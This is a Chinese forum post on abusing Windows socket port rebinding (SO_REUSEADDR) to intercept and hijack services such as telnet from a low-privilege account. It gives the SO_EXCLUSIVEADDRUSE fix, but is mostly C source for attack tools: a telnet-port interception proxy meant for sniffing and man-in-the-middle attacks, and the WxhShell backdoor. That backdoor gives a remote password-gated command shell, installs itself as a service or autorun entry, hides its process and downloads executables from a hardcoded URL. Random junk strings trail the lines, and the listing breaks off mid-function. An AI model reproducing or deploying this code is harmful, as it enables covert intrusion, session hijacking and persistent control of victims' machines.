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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +fozE?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;9)nG,P3  
fuHNsrNlm  
  saddr.sin_family = AF_INET; #+6j-^<_6  
7W},5c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V+>RF  
2<0".5+I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x%$6l  
=HMCNl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o\W>$$EXD  
3VMaD@nYa  
  这意味着什么?意味着可以进行如下的攻击: _]'kw [  
~yXDN4s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R=R]0  
U"@p3$2QW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) En-=z`j G  
VrT-6r'Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (]mBAQ#hw  
JM0+-,dl[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h-Ks:pcR  
1n2Pr'|s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b?Q$UMAbH  
w(+ L&IBC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?en-_'}~a  
'^7Z]K<v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ||cI~qg  
:G9d,B7*  
  #include dwvc;f-  
  #include vfc5M6Vm)<  
  #include K-*ZS8  
  #include    #+" D?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lv.h?"Ml  
  int main() 1 5|gG<-  
  { "3 2Ua3m:G  
  WORD wVersionRequested; WQw11uMt@q  
  DWORD ret; r#ADxqkaV  
  WSADATA wsaData; %|/\Qu  
  BOOL val; ""V\hHdp  
  SOCKADDR_IN saddr; ~Odclrs  
  SOCKADDR_IN scaddr; &BKnJ {,H  
  int err; U[yA`7Zs}  
  SOCKET s; gQhYM7NP{5  
  SOCKET sc; 60|m3|0o  
  int caddsize; ^N ;TCn  
  HANDLE mt; th"Aatmp  
  DWORD tid;   kp?_ir  
  wVersionRequested = MAKEWORD( 2, 2 ); o"N\l{#s  
  err = WSAStartup( wVersionRequested, &wsaData ); Ek06=2i  
  if ( err != 0 ) { +m}D.u*cp  
  printf("error!WSAStartup failed!\n"); I)3LJK  
  return -1; {RsdI=%  
  } I L&PN`#  
  saddr.sin_family = AF_INET; u[wDOw  
   ZZxt90YR'5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gHL:XW^  
N1:)Z`r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :=quCzG  
  saddr.sin_port = htons(23); i-95>ff  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*VQw?{Uee  
  { c2gZ<[~  
  printf("error!socket failed!\n"); NS x-~)  
  return -1; ) TNG0[  
  } qMO(j%N5  
  val = TRUE; 0yUn~'+(Sp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iy8Ln,4z(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >"zN`  
  { 7|ACJv6%9  
  printf("error!setsockopt failed!\n"); V2m= m}HQ  
  return -1; 0|\A5 eG  
  } nGJ+.z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U; #v-'Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'vZWk eo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |F =.NY  
0eA |Uq~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @%MGLR{pH  
  { ~WmA55  
  ret=GetLastError(); ,k:>Z&:  
  printf("error!bind failed!\n"); D#>d+X$  
  return -1; -Y"2c,~pH  
  } gazX2P[D  
  listen(s,2); FYg{IKg  
  while(1) 77]Fp(uI  
  { 6%c]{eTd9  
  caddsize = sizeof(scaddr); VB+_ kR6Zv  
  //接受连接请求 ?%>S5,f_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dHn,;Vv^6  
  if(sc!=INVALID_SOCKET) R C!~eJG!  
  { $U^ Ms!'L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V1,4M_Z  
  if(mt==NULL) xiC.M6/  
  { @&Af [X4s  
  printf("Thread Creat Failed!\n"); ){tT B  
  break; i Hcy,PBD  
  } 5cr\ JR  
  } 6099w0fR`  
  CloseHandle(mt); ; jJ%<  
  } #("E) P  
  closesocket(s); 5G#2#Al(F  
  WSACleanup(); ~P-^An^  
  return 0; 8hX /~-H  
  }   uH} }z!  
  DWORD WINAPI ClientThread(LPVOID lpParam) c`)[-  
  { k#5Qwxu`  
  SOCKET ss = (SOCKET)lpParam; $C{-gx+:  
  SOCKET sc; ]PH'G>x  
  unsigned char buf[4096]; =^ x1: Ak  
  SOCKADDR_IN saddr; %$R]NL|  
  long num; ~#rmw6y  
  DWORD val; ukee.:{  
  DWORD ret; s%zdP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \-Q6z 8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NF*Z<$'%  
  saddr.sin_family = AF_INET; .Ax]SNZ+:A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <q4 <3A  
  saddr.sin_port = htons(23); }K 2fwE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |s !7U  
  { 5W_Rg:J{P  
  printf("error!socket failed!\n"); \q|<\~A  
  return -1; {k<mN Y  
  } l.SoiFDd  
  val = 100; ~5~Cpu2v7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =%crSuP  
  { #t&L}=G{%  
  ret = GetLastError(); @w;&:J9m  
  return -1; KD..X~Me  
  } =|3*Y0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T$Rf  
  { to] ~$~Q|>  
  ret = GetLastError(); Ij7[2V]c  
  return -1; KA9v?_@{F  
  } D;oX*`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E*UE?4FSw|  
  { ]6?6 k4@  
  printf("error!socket connect failed!\n"); @t#Ju1Y  
  closesocket(sc); jH2_Ekgc;_  
  closesocket(ss); Cl!qdh6  
  return -1; |)YN"nqg  
  } z dUSmb  
  while(1) ff 2`4_ ,|  
  { R\lUE,o]<q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =zwn3L8fL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yRldPk_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eh6=-  
  num = recv(ss,buf,4096,0); `R_;n#3F0  
  if(num>0) 2?(dS  
  send(sc,buf,num,0); 5}'W8gV?  
  else if(num==0) Nb/Z+  
  break; ~d=Y98'xS  
  num = recv(sc,buf,4096,0); a`;nB E  
  if(num>0) 2fMKS  
  send(ss,buf,num,0); S,qEKWyLd  
  else if(num==0) "l-R|>6~  
  break; OP\m~1  
  } mq oB]H,  
  closesocket(ss); 9at_F'> R  
  closesocket(sc); I73=PfS:m  
  return 0 ; 2j-^F  
  } V\r2=ok@y  
bG!/%,s  
@`:z$52  
========================================================== 7SJtW`~  
3|1v)E  
下边附上一个代码,,WXhSHELL h9l 6AnbJ  
[|APMMYK1  
========================================================== \) g?mj^  
l[b`4  
#include "stdafx.h" A0gRX]  
e#|YROHf  
#include <stdio.h> ECvTmU'=  
#include <string.h> u:%Ln_S  
#include <windows.h> \ H!Klp  
#include <winsock2.h> `:YCOF  
#include <winsvc.h> KWi P`h8  
#include <urlmon.h> G Y+li {  
{1J4Q[N9m  
#pragma comment (lib, "Ws2_32.lib") h=MEQ-3jg  
#pragma comment (lib, "urlmon.lib") - ~`)V`@  
=]W[{@P  
#define MAX_USER   100 // 最大客户端连接数 f2Z(hYH~  
#define BUF_SOCK   200 // sock buffer +;N;r/d_i  
#define KEY_BUFF   255 // 输入 buffer ?4YLt|sn  
\vqqs  
#define REBOOT     0   // 重启 |sPUb;&~  
#define SHUTDOWN   1   // 关机 v1\/dQK  
J42/S [Rt  
#define DEF_PORT   5000 // 监听端口 Apc!!*7  
`z<I<  
#define REG_LEN     16   // 注册表键长度 2 UPG8]  
#define SVC_LEN     80   // NT服务名长度 \MB$Cwc  
+W}6o3x~  
// 从dll定义API VqnM>||  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LHd9q ^D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x^)W}p"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JO&L1<B{v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eanwk` Rx  
6=g! Hs{  
// wxhshell配置信息 V ^hR%*i'  
struct WSCFG { i&\ c DQ 3  
  int ws_port;         // 监听端口 #= @?)\~  
  char ws_passstr[REG_LEN]; // 口令 k83S.*9Mx  
  int ws_autoins;       // 安装标记, 1=yes 0=no b-HELS`nX  
  char ws_regname[REG_LEN]; // 注册表键名 C,VvbB  
  char ws_svcname[REG_LEN]; // 服务名 sTw+.m{F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^_\%?K_u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U*7x81v?j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "*ww>0[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y@2yV(m)o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?OVje9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #.@-ng6C  
o8u;2gZx  
}; M&` b\la  
aBWA hn  
// default Wxhshell configuration g,s^qW0vds  
struct WSCFG wscfg={DEF_PORT, <j:@ iP  
    "xuhuanlingzhe", Z^_gS&nDa~  
    1, [Lq9lw&   
    "Wxhshell", ;={3H_{3  
    "Wxhshell", QfRo`l/V9  
            "WxhShell Service", 63Z^ k(  
    "Wrsky Windows CmdShell Service", !AN;  
    "Please Input Your Password: ", /^=8?wK  
  1, Nf)$K'/  
  "http://www.wrsky.com/wxhshell.exe", Ar'k6NX  
  "Wxhshell.exe" cr~.],$Om  
    }; U[W &D%'  
W(Rp@=!C  
// 消息定义模块 v:]z-zU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S9d Xkd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W}@IUCRs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q@vqhE4  
char *msg_ws_ext="\n\rExit."; jR>`Xz  
char *msg_ws_end="\n\rQuit."; #M@~8dAH}M  
char *msg_ws_boot="\n\rReboot..."; 5Kw?#  
char *msg_ws_poff="\n\rShutdown..."; 0HN%3AG]  
char *msg_ws_down="\n\rSave to "; <"{VVyK  
}mpFo 2  
char *msg_ws_err="\n\rErr!"; BRXDE7vw  
char *msg_ws_ok="\n\rOK!"; ) (0=w4  
D qHJ *x4  
char ExeFile[MAX_PATH]; pKaU [1x?%  
int nUser = 0; USZBk0$  
HANDLE handles[MAX_USER]; OxN[w|2\4  
int OsIsNt; 2=uwGIF  
0G`@^`  
SERVICE_STATUS       serviceStatus; 63/a 0Yn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @W-0ybv  
C%H?vrR  
// 函数声明 yX/{eX5dr  
int Install(void); $N\k*=  
int Uninstall(void); &pW2R}  
int DownloadFile(char *sURL, SOCKET wsh); lN*beOj  
int Boot(int flag); 5}Z>N,4  
void HideProc(void); fGoJP[ae  
int GetOsVer(void); wU|jw(  
int Wxhshell(SOCKET wsl); `RXlqj#u  
void TalkWithClient(void *cs); k%V YAON  
int CmdShell(SOCKET sock); $ i%#fN  
int StartFromService(void); {@hJPK8  
int StartWxhshell(LPSTR lpCmdLine); 8J:=@X^}  
% _nmv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D~n-;T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R]3j6\  
Yz#E0aTTA  
// 数据结构和表定义 d|>/eb.R  
SERVICE_TABLE_ENTRY DispatchTable[] = `R!Q(rePx  
{ g{CU1c)B  
{wscfg.ws_svcname, NTServiceMain}, nf1O8FwRb  
{NULL, NULL} wV-9T*QrM  
}; $$i Gs6az  
#n]K$k>  
// 自我安装 oxL)Jx\c9A  
int Install(void) TjHt:%7.  
{ 2D /bMq  
  char svExeFile[MAX_PATH]; Xyjd7 "  
  HKEY key; ),Hr  
  strcpy(svExeFile,ExeFile); 3^5h:OaT  
pog   
// 如果是win9x系统,修改注册表设为自启动 E;wT4 T=  
if(!OsIsNt) { RAWzQE }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i|m8#*Hd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \i+Ad@)  
  RegCloseKey(key); HuR774f[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M4(57b[`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FC WF$'cO  
  RegCloseKey(key); F}=_"IkZ  
  return 0; udmLHc  
    } L7R!,  
  } r dCs  
} >Y(JC#M;  
else { NF7  
(2UA,  
// 如果是NT以上系统,安装为系统服务 }B_?7+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >~_z#2PA  
if (schSCManager!=0) _D$1CaAYo  
{ +;4;~>Y  
  SC_HANDLE schService = CreateService xT(0-o*  
  ( IwRP,MQ~  
  schSCManager, rgDl%X2B  
  wscfg.ws_svcname, A1r%cs  
  wscfg.ws_svcdisp, "!CVm{7[  
  SERVICE_ALL_ACCESS, K+"3He  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HJBGxy w  
  SERVICE_AUTO_START, Ve${g`7&  
  SERVICE_ERROR_NORMAL, a,(nf1@5  
  svExeFile, LcB+L](  
  NULL, ^+~ 5\c*  
  NULL, cQ'x]u_  
  NULL, mE_%  
  NULL, h=\1ZQKC)  
  NULL /:ZwGyT;  
  ); }Xfg~ %6  
  if (schService!=0) Bh'!aipk  
  { &xA>(|a\&-  
  CloseServiceHandle(schService); .)=*Yr M  
  CloseServiceHandle(schSCManager); 9yaTDxB>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TQb@szp:|  
  strcat(svExeFile,wscfg.ws_svcname); C#e :_e]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zliMG=6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Ly ~\*  
  RegCloseKey(key); P&=YLL<W  
  return 0; HEAW](s  
    } E 0/>E  
  } 9HEqB0|ZRu  
  CloseServiceHandle(schSCManager); 7r^Cs#b+I  
} (>E/C^Tc%  
} IaQm)"Z  
({@" {  
return 1; 5D2mZ/  
} 5gV,^[E-z  
DBG0)=SHy  
// 自我卸载 v9FR  
int Uninstall(void) ,]nRnI^  
{ ''D7Bat@  
  HKEY key; \F-n}Z  
4f~sRubK  
if(!OsIsNt) { DaJ,( DJY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <T;V9(66  
  RegDeleteValue(key,wscfg.ws_regname); *C0a,G4  
  RegCloseKey(key); 8EMBqhl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cvo+{u$s  
  RegDeleteValue(key,wscfg.ws_regname); dNY'uv&Y  
  RegCloseKey(key); Thu_`QP^  
  return 0; ~5h4 Gy)  
  } $MGKGWx@E  
} ,X1M!'  
} CM$&XJzva  
else { rk4KAX_[  
;Z`a[\i':  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :3XvHL0rx  
if (schSCManager!=0) _'1 7C /  
{ lZ)6d-vK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F_g(}wE# q  
  if (schService!=0) ]n>9(Mp!M  
  { s,f2[6\Y  
  if(DeleteService(schService)!=0) { 2wnk~URj  
  CloseServiceHandle(schService); ,9}JPv4Z  
  CloseServiceHandle(schSCManager); a'/C)fplL  
  return 0; Fx}v.A5  
  } i7PS=]TK\  
  CloseServiceHandle(schService); 'jMs&  
  } (9ZW^flY  
  CloseServiceHandle(schSCManager); G_5{5Ar  
} Y0kcxpK/  
} }!k?.(hpE  
9H;Os:"\|  
return 1; *3E3,c8{A  
} [W{|94q  
X Db%-  
// 从指定url下载文件 kTfRm^  
int DownloadFile(char *sURL, SOCKET wsh) n0gjcDHQ  
{ -?:8s v*X  
  HRESULT hr; 1Az&BZU[  
char seps[]= "/"; qTRP2rH,L&  
char *token; h.]^o*DJ  
char *file; j>?nL~{  
char myURL[MAX_PATH]; u{&=$[;  
char myFILE[MAX_PATH]; 7P}l^WX  
J k`Jv;  
strcpy(myURL,sURL); @%2crJnkS  
  token=strtok(myURL,seps); F):kF_ho  
  while(token!=NULL) @BjB Mi,  
  { 9eq)WI/  
    file=token; W( sit;O  
  token=strtok(NULL,seps); :h(3Ep  
  } B Tj1C  
H_3Wx fO  
GetCurrentDirectory(MAX_PATH,myFILE); W`JI/  
strcat(myFILE, "\\"); 1 oKY7i$  
strcat(myFILE, file); OmZZTeGg1s  
  send(wsh,myFILE,strlen(myFILE),0); iG"v  
send(wsh,"...",3,0); .sQV0jF{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2]Cn<zJ  
  if(hr==S_OK) x1`(Z|RJ  
return 0; o6|- :u5_/  
else lH`c&LL-=!  
return 1; "Dk@-Ac  
*0@Z+'M?  
} jg'"?KSU~  
f. >[ J  
// 系统电源模块 frm[<-~w0  
int Boot(int flag) Yc-5Mr8*,  
{ E&z^E2  
  HANDLE hToken; FZ<6kk4  
  TOKEN_PRIVILEGES tkp; ib 'l:GM  
2-qWR<E  
  if(OsIsNt) { 42hG }Gt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f% t N2k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9[*P`*&  
    tkp.PrivilegeCount = 1; ZVJ6 {DS/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "QS(4yw?jg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g8&& W_BI  
if(flag==REBOOT) { \24'iYtqW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @oj_E0i3  
  return 0; %La/E#  
} `|"o\Bg<  
else { :jkPV%!~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fj( WH L  
  return 0; @ YWuWF  
} 2Hx*kh2  
  } il{x?#Wrb  
  else { /8`9SS  
if(flag==REBOOT) { @>~S$nw/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UHi^7jQ  
  return 0; P| ?nx"c  
} qFDy)4H)  
else { sA: /!9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i=>`=. ~  
  return 0; tRc 3<>  
} J32{#\By  
} `WC4:8  
bT9:9LP  
return 1; S\sy^Kt~4:  
} y|*4XF<b  
y,Bj,zw  
// win9x进程隐藏模块 9"1=um=  
void HideProc(void) gMq;  
{ ,g?M[(wtc  
0e]J2>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >b3IZ^SB#$  
  if ( hKernel != NULL ) {[NQD3=+F  
  { 1yU!rEH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OEbZs-:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t VX|e2Y  
    FreeLibrary(hKernel); n31nORx50  
  } X%iqve"{nB  
wT;;B=u}G  
return; ]k1N-/  
} d3T7$'l$  
9S'\&mRl  
// 获取操作系统版本 AlrUfSBB  
int GetOsVer(void) T}XJFV  
{ 6OPNP0@r  
  OSVERSIONINFO winfo; yfFe%8w_vw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .1J`>T?=Q  
  GetVersionEx(&winfo); +U<Ae^V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S*3$1BTl  
  return 1; >B;S;_5=  
  else q4"^G:  
  return 0; aG@GJ@w  
} ko!aX;K  
^H<VH  
// 客户端句柄模块 A"+t[0$.  
int Wxhshell(SOCKET wsl) 436SIh  
{ )F'hn+(B|G  
  SOCKET wsh; 7A<}JaE!,  
  struct sockaddr_in client; )0;O<G] d  
  DWORD myID; {EU]\Mp0j  
;yZY2)L   
  while(nUser<MAX_USER) Pff-eT+~m  
{ Ja\B%f  
  int nSize=sizeof(client); .fhfO @  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +`m0i1uI3  
  if(wsh==INVALID_SOCKET) return 1; u |$GOSD  
!a'{gw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MD>E0p)  
if(handles[nUser]==0) waV4~BdL  
  closesocket(wsh); K~5(j{Kb8  
else ,0>_(5  
  nUser++; X)[QEq^  
  } ;%u)~3B$JK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dwzk+@]8  
F 'HYWH0?  
  return 0; 6ESS>I"su  
} )OGO wStz  
"bO]AG  
// 关闭 socket F20%r 0  
void CloseIt(SOCKET wsh) L#IY6t  
{ 8Waic&lX~  
closesocket(wsh); Z>@\!$Mc  
nUser--; 6X VJ/qZ  
ExitThread(0); u`*$EP-%  
} c/3]M>+M  
@(tuE  
// 客户端请求句柄 $~A\l@xAG  
void TalkWithClient(void *cs) ,?GAFg K:  
{ #: ,X^"w3  
<lSo7NkR  
  SOCKET wsh=(SOCKET)cs; DB] ]6  
  char pwd[SVC_LEN]; d k|X&)xTJ  
  char cmd[KEY_BUFF]; [vCZD8"Y8  
char chr[1]; &gm/@_  
int i,j; %o0.8qVJi  
OPKmYzf@b  
  while (nUser < MAX_USER) { {+QQ<)l^tJ  
jRjQDK_"ka  
if(wscfg.ws_passstr) { Rmh,P>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <,T#* fg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U3c!*i  
  //ZeroMemory(pwd,KEY_BUFF); yucbEDO.  
      i=0; >LR+dShG  
  while(i<SVC_LEN) { BQ~&gy{  
v{U1B  
  // 设置超时 =(5}0}j  
  fd_set FdRead; QV%eTA  
  struct timeval TimeOut; zhwajc  
  FD_ZERO(&FdRead); j7Lw( AJ  
  FD_SET(wsh,&FdRead); lG X_5R  
  TimeOut.tv_sec=8; Zxv{qbF  
  TimeOut.tv_usec=0; FEg&EYI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s8kkf5bu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z*:.maq  
=G<S!qW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aw0xi,Jz  
  pwd=chr[0]; akA C^:F  
  if(chr[0]==0xd || chr[0]==0xa) { |<7nf75c}  
  pwd=0; zhde1JE  
  break; r\{; ~V  
  } &nF7CCF  
  i++; C  F<  
    } d4-cZw}+  
 _$4vk  
  // 如果是非法用户,关闭 socket /E6 Tt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "{(4  
} JE+{Vx}  
gMZ?MG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4,R1}.?BzJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;0\  
v~HfA)#JK  
while(1) { -U_<:  
YJrZ  
  ZeroMemory(cmd,KEY_BUFF); t) ~v5vr  
E|^~R}z)  
      // 自动支持客户端 telnet标准   1 Xu^pc  
  j=0; %(wa~:m+S-  
  while(j<KEY_BUFF) { s|&2QG0'7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mh`VZQ@  
  cmd[j]=chr[0]; v~>4c<eG  
  if(chr[0]==0xa || chr[0]==0xd) { &+t,fwlM  
  cmd[j]=0; >@d=\Kyu  
  break; *gzX=*;x+?  
  } 7":0CU% %  
  j++; Ib8xvzR6I&  
    } c=HL 6v<  
f_Q_qckB%x  
  // 下载文件 yq>3IS4O  
  if(strstr(cmd,"http://")) { MA:8g D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z$5@r2d)  
  if(DownloadFile(cmd,wsh)) 9Q%Fel.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Q4m1? 40  
  else )zVD!eG_9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 gbJTh<JU  
  } n.Q?@\}2  
  else { Y 1vSwS%{T  
]"M4fA  
    switch(cmd[0]) { s?*MZC  
  I6FglVQ6  
  // 帮助 N5[fw z w  
  case '?': { } Pc6_#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &wZ:$lK#o  
    break; p,9eZUGy  
  } fXYg %  
  // 安装 <%Re!y@OL  
  case 'i': { TNV#   
    if(Install()) aOj5b>>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"{s"Mc0G  
    else l4d2 i;4BK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u37@9  
    break; RyxIJJui  
    } 1]v.Qu<  
  // 卸载 U;4:F{3m   
  case 'r': { rT ~qoA\  
    if(Uninstall()) u]ZCYJ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @cF aYI  
    else N*My2t_+E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IXf@YV  
    break; Jj'~\j  
    } /Et:',D  
  // 显示 wxhshell 所在路径 #3u;Ox  
  case 'p': { HtIM8z#/  
    char svExeFile[MAX_PATH]; LE!3'^Zq  
    strcpy(svExeFile,"\n\r"); E-i rB/0  
      strcat(svExeFile,ExeFile); {j E}mzi  
        send(wsh,svExeFile,strlen(svExeFile),0); B;':Eaa@  
    break; ^YKEc0"w(  
    } }45&s9m=  
  // 重启 ([ xYOxcp5  
  case 'b': { W%.Kr-[?`o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^r$P&}Z\b  
    if(Boot(REBOOT)) mi3yiR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;^FV  
    else { C;;dCsiV5  
    closesocket(wsh); pFD L5  
    ExitThread(0); -$4PY,  
    } F,`y_71<  
    break; qgU$0enSs  
    } o$YL\ <qp  
  // 关机 3%xj-7z W  
  case 'd': { SVaC)O(  
